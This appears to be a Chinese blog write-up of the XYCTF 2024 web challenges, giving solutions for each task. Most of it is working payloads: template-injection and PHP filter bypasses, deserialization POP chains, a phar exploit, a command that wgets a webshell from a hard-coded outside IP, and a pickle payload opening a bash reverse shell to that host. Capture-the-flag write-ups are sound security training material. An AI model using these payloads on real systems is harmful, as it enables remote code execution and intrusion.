XYCTF 2024 Web

Web

我是一个复读机

用户名密码:admin/asdqwe

进入以后就是ssti模板注入,但是禁用了{ [ ’ "

后来发现只要输入中文,就可以进行模板注入了

[ 方括号被禁用可以使用__getitem__绕过

双引号单引号被禁用,使用使用request.values.a绕过

http://xyctf.top:45993/index
?sentence=我是()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.l)|attr(request.values.d)(request.values.k)(request.values.h)&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&l=__builtins__&k=eval&h=__import__("os").popen("cat /flag").read()

此题的源码

from flask import *
import urllib.parse

app = flask(__name__)
app.secret_key = 'lzlcnb'  # 设置会话密钥,用于加密会话数据


@app.route('/', methods=['get', 'post'])
def login():
    if request.method == 'post':
        username = request.form['username']
        password = request.form['password']

        # 进行登录验证逻辑,如验证用户名密码是否匹配等


        # 登录验证成功
        if username=='admin' and password=='asdqwe':
            session['username'] = username
            return redirect('/index')
  
    return render_template('login.html')

@app.route('/index')
def index():
    if 'username' in session:
        try:
            # word=request.args.get('sentence')
         
            # if word=="{{}}":
            #     word=none
            flag=0
            word = request.args.get('sentence')
        
            balck_array=['[',']','_','config','url_for','system','flag','file','os','"',"'",'cat','system','eval','more','tail','less','base64','file','nc','python','exec','{','}']
            for i in balck_array:
                if word!=none and i in word:
                    word="what are you doing,little hacker"
                    break
            if word is not none:
                for i in range(len(word)):
                    if ord(word[i])>128:
                        word='{'+word[0:i]+word[i+1:]+'}'

                        flag+=1
            else:
                word="what do you want to say"
            if flag:
                word="我只能看懂你说的英文(>﹏<)"+word

            if "{{}}" in word:
                word = word.replace("{{}}",'{ {}}')
            html='''
        <!doctype html>
<html>
<head>
    <title>我是一个复读机</title>
    <style>
        body {{
            font-family: arial, sans-serif;
            background-image: url('/static/yourname.jpg'); /* 替换 'background.jpg' 为您想要设置的背景图片路径 */
            background-size: cover;
            background-position: center;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
        }}
        form {{
            background-color: rgba(255, 255, 255, 0.8);
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
            width: 800px;
        }}
        h2 {{
            text-align: center;
            color: #333;
        }}
        label {{
            display: block;
            margin-top: 10px;
            color: #555;
        }}
        input[type="text"],
        input[type="password"] {{
            width: 100%;
            padding: 8px;
            margin-top: 4px;
            border: 1px solid #ccc;
            border-radius: 4px;
            box-sizing: border-box;
        }}
        input[type="submit"] {{
            width: 100%;
            padding: 8px;
            margin-top: 10px;
            background-color: #007bff;
            color: #fff;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }}
        input[type="submit"]:hover {{
            background-color: #0056b3;
        }}
    </style>
</head>
<body>
    <form action="/index" method="get">
        <h2>我的宝,你说什么我就说什么</h2>
        <label for="sentence">你想说的话</label>
        <input type="text" id="sentence" name="sentence" required>

        <input type="submit" value="tell me">
        <h2>{}</h2>
    </form>
</body>
</html>'''.format(word)
    
            return render_template_string(html)
        except exception  as e:
            return "出现了一点小问题"
    else:
        return redirect('/')


if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=true,port=8080)

ez?Make

禁用字符如下:

/\n|\r|f|l|a|g|\?|\*|\;|\/|source|SOURCE|\$|\@/

payload使用正则表达式绕过

cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&sort [!b-eh-z][!b-km-z][!b-z][!b-eh-z]

ezMake

直接访问路径/flag,就可以得到flag

牢牢记住,逝者为大

<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
    if (strlen($cmd) > 13) {
        die("see you again~");
    }
    if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
        die("肘死你");
    }
    foreach ($_GET as $val_name => $val_val) {
        if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
            return "what can i say";
        }
    }
    return $cmd;
}

$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd  . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");

绕过注释符,使用回车符

并且这题因为长度的限制,所以无法回显,只能使用反引号

由于使用不了>,所以无法常规的去反弹shell,但是wget命令可以使用,所以我们可以在vps中写入木马文件,然后下载到靶机

payload

http://xyctf.top:46257/?cmd=%0a`$_GET[0]`;%23&0=wget http://60.204.170.160:8989/1.php -O 123.php

warm up

<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);

if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
    echo "ez" . "<br>";
} else {
    die("什么情况,这么基础的md5做不来");
}

if (isset($md5) && $md5 == md5($md5)) {
    echo "ezez" . "<br>";
} else {
    die("什么情况,这么基础的md5做不来");
}

if ($XY == $XYCTF) {
    if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
        echo $level2;
    } else {
        die("什么情况,这么基础的md5做不来");
    }
} else {
    die("学这么久,传参不会传?");
}

第一个if也就是正常的弱比较

第二个if无非就是加密前的明文要为0e开头,然后加密后的hash值也是0e开头

第三个if也是弱比较,主要是通过extract变量覆盖去修改两个变量的值

payload

http://xyctf.top:46282/?val1=s1885207154a&val2=s1502113478a&md5=0e215962017&XY=s1885207154a&XYCTF=s1885207154a

得到页面:LLeeevvveeelll222.php

<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
    echo "操作你O.o";
    echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);  // 我可不会像别人一样设置10来个level
} else {
    die("有点汗流浃背");
}

第一层if使用数组绕过

然后就是preg_replace /e命令执行

http://xyctf.top:46282/LLeeevvveeelll222.php?a=/233/e&b=phpinfo()&c=233
post: a[]=1

ezPOP

源代码

<?php
error_reporting(0);
highlight_file(__FILE__);

class AAA
{
    public $s;
    public $a;
    public function __toString()
    {
        echo "you get 2 A <br>";
        $p = $this->a;
        return $this->s->$p;
    }
}

class BBB
{
    public $c;
    public $d;
    public function __get($name)
    {
        echo "you get 2 B <br>";
        $a=$_POST['a'];
        $b=$_POST;
        $c=$this->c;
        $d=$this->d;
        if (isset($b['a'])) {
            unset($b['a']);
        }
        call_user_func($a,$b)($c)($d);
    }
}

class CCC
{
    public $c;

    public function __destruct()
    {
        echo "you get 2 C <br>";
        echo $this->c;
    }
}


if(isset($_GET['xy'])) {
    $a = unserialize($_GET['xy']);
    throw new Exception("noooooob!!!");
}

首先要先绕过GC垃圾回收机制,不然无法正常反序列化执行destruct魔术方法

使用数组绕过

$a = array($c,0)
echo serialize($a);

pop链

<?php

class AAA
{
    public $s;
    public $a;
}

class BBB
{
    public $c;
    public $d;
}

class CCC
{
    public $c;
}


$c = new CCC;
$c->c = new AAA;
$c->c->s = new BBB;
$a = array($c,0);
echo serialize($a);


a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";N;s:1:"d";N;}s:1:"a";N;}}i:1;i:0;}
把后面的i:1改成i:0,不然还是无法绕过的
a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";N;s:1:"d";N;}s:1:"a";N;}}i:0;i:0;}

在这里插入图片描述

然后关键的代码就是在

    public function __get($name)
    {
        echo "you get 2 B <br>";
        $a=$_POST['a'];
        $b=$_POST;
        $c=$this->c;
        $d=$this->d;
        if (isset($b['a'])) {
            unset($b['a']);
        }
        call_user_func($a,$b)($c)($d);
    }

最后一行call_user_func( a , a, a,b)( c ) ( c)( c)(d);

这个的意思其实也就是将call_user_func执行后的结果传递给下一个函数c进行处理,然后d为函数c的参数

分析传参:

a 为取数组里面的元素

b 是数组,这里面放要处理c的函数

最终payload

http://xyctf.top:46310/?xy=a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"metsys";s:1:"d";s:9:"cat /flag";}s:1:"a";N;}}i:0;i:0;}
post:  a=array_shift&b=strrev

最终的目的就是array_shift函数取出数组b里面的第一个元素也就是strrev函数

然后strrev函数会处理temsys,反转过来就是system

最后就是命令执行

ezmd5

上传两个由fastcoll生成的图片

在这里插入图片描述

ezhttp

在这里插入图片描述

在这里插入图片描述

referer绕过

在这里插入图片描述
然后得到

登录成功!
你用的不是XYCTF的浏览器

user-agent绕过

在这里插入图片描述

登录成功!
非本地用户禁止访问!

Client-ip绕过
在这里插入图片描述

登录成功!
不是从 ymzx.qq.com 代理来的我不玩
在这里插入图片描述

登录成功!
有点饿,想吃点XYCTF的小饼干

在这里插入图片描述

登录成功!
恭喜你拿到flag!
XYCTF{3aa4c02c-5f02-433e-84e2-5137245fd057}

ezSerialize

第一层

<?php
class Flag {
    public $token;
    public $password;

}
$a = new Flag();
$a->password = 1;
$a->password = &$a->token;
echo serialize($a);

第二层

<?php
class A {
    public $mack;
}

class B {
    public $luo;
}

class C {
    public $wang1;
}


class D {
    public $lao;
    public $chen;
}

class E {
    public $name = "xxxxx";
    public $num;
}

$e = new E;
$e->name = new D;
$e->name->lao = new B;
$e->name->lao->luo = new A;
$e->name->lao->luo->mack = new C;
echo serialize($e);

第三层

<?php
// flag.php
class XYCTFNO1
{
    public $Liu;
    public $T1ng;
    private $upsw1ng;
}

class XYCTFNO2
{
    public $crypto0;
    public $adwa;
}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";

}
$x1 = new XYCTFNO3;
$x1->KickyMu = new XYCTFNO2;
$x1->KickyMu->adwa->crypto0 = "dev1l";
$x1->KickyMu->adwa->T1ng = "yuroandCMD258";
$x1->N1ght = "oSthing";
echo serialize($x1);


pharme

<?php
class evil{
    public $cmd;
    public $a;
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new evil();
$o->cmd= "eval(end(getallheaders()));__halt_compiler();";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

然后绕过__HALT_COMPILER();

import gzip
from hashlib import sha1
with open('phar.phar', 'rb') as file:
    f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
#print(newf)
newf = gzip.compress(newf) #对Phar文件进行gzip压缩
with open('newquanqi.png', 'wb') as file:#更改文件后缀
    file.write(newf)

连连看到底是连连什么看

<?php
highlight_file(__FILE__);
error_reporting(0);

$p=$_GET['p'];

if(preg_match("/http|=|php|file|:|\/|\?/i", $p))
{
    die("waf!");
}

$payload="php://filter/$p/resource=/etc/passwd";

if(file_get_contents($payload)==="XYCTF"){
    echo file_get_contents('/flag');
}

php_filter_chain这个工具直接生成

python3 php_filter_chain_generator.py --chain 'XYCTF<'

然后复制下payload之后,使用string.strip.tag过滤器绕过

在这里插入图片描述

为什么可以绕过,这是因为

string.strip_tags等同于strip_tags(),去除html、PHP语言标签

下面有一个实例

在这里插入图片描述

ezRCE

<?php
highlight_file(__FILE__);
function waf($cmd){
    $white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<']; 
    $cmd_char = str_split($cmd);
    foreach($cmd_char as $char){
        if (!in_array($char, $white_list)){
            die("really ez?");
        }
    }
    return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);

只能有数字,并且是system直接执行

可以使用八进制进行绕过,但要注意八进制不能加参数

$'\154\163'   ls
$'\143\141\164'<$'\57\146\154\141\147'    cat /flag

ezClass

<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());

意思也就是,让我们使用两个原生类,将第一个原生类的结果丢给后面的原生类进行处理

太麻烦了,一个原生类就够了

a=SplFileObject&aa=/flag&c=fgets
这个方法读取文件内容有限,只能显示第一个行,但是读取flag文件足矣了

login

import pickle
import base64
# class pay(object):
#     def __reduce__(self):
#         return (eval,("print(123)",))
# a = pickle.dumps(pay())
# a = base64.b64encode(a)
c = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/60.204.170.160/8989 0>&1"'
o.'''
# print(pickle.dumps(c))
# print(a)
print(base64.b64encode(c))

εZ?¿м@Kε¿?

hint.php内容

/^[$|\(|\)|\@|\[|\]|\{|\}|\< | \>|\-]+$/

我们只能输入这个正则里面的符号,通过对makefile的理解

这题是借用makefile的自动变量可以读取到flag的内容

https://www.gnu.org/software/make/manual/html_node/Automatic-Variables.html

得到如下的payload

$$(<$<)

在这里插入图片描述

give me flag

hash长度扩展攻击

<?php
include('flag.php');
$FLAG_md5 = md5($FLAG);
if(!isset($_GET['md5']) || !isset($_GET['value']))
{
    highlight_file(__FILE__);
    die($FLAG_md5);
}

$value = $_GET['value'];
$md5 = $_GET['md5'];
$time = time();

if(md5($FLAG.$value.$time)===$md5)
{
    echo "yes, give you flag: ";
    echo $FLAG;
}
f6ab6309f305e0f1b61cbec905c4c01f

拿已知的md5值,加上预定的时间戳

在这里插入图片描述

https://tool.lu/timestamp/

然后抓包bp,value填入长度为43的明文,再传入新的md5

在这里插入图片描述

这题多少有点圣经,很容易跑崩,懒得复现了

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ten^v^

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值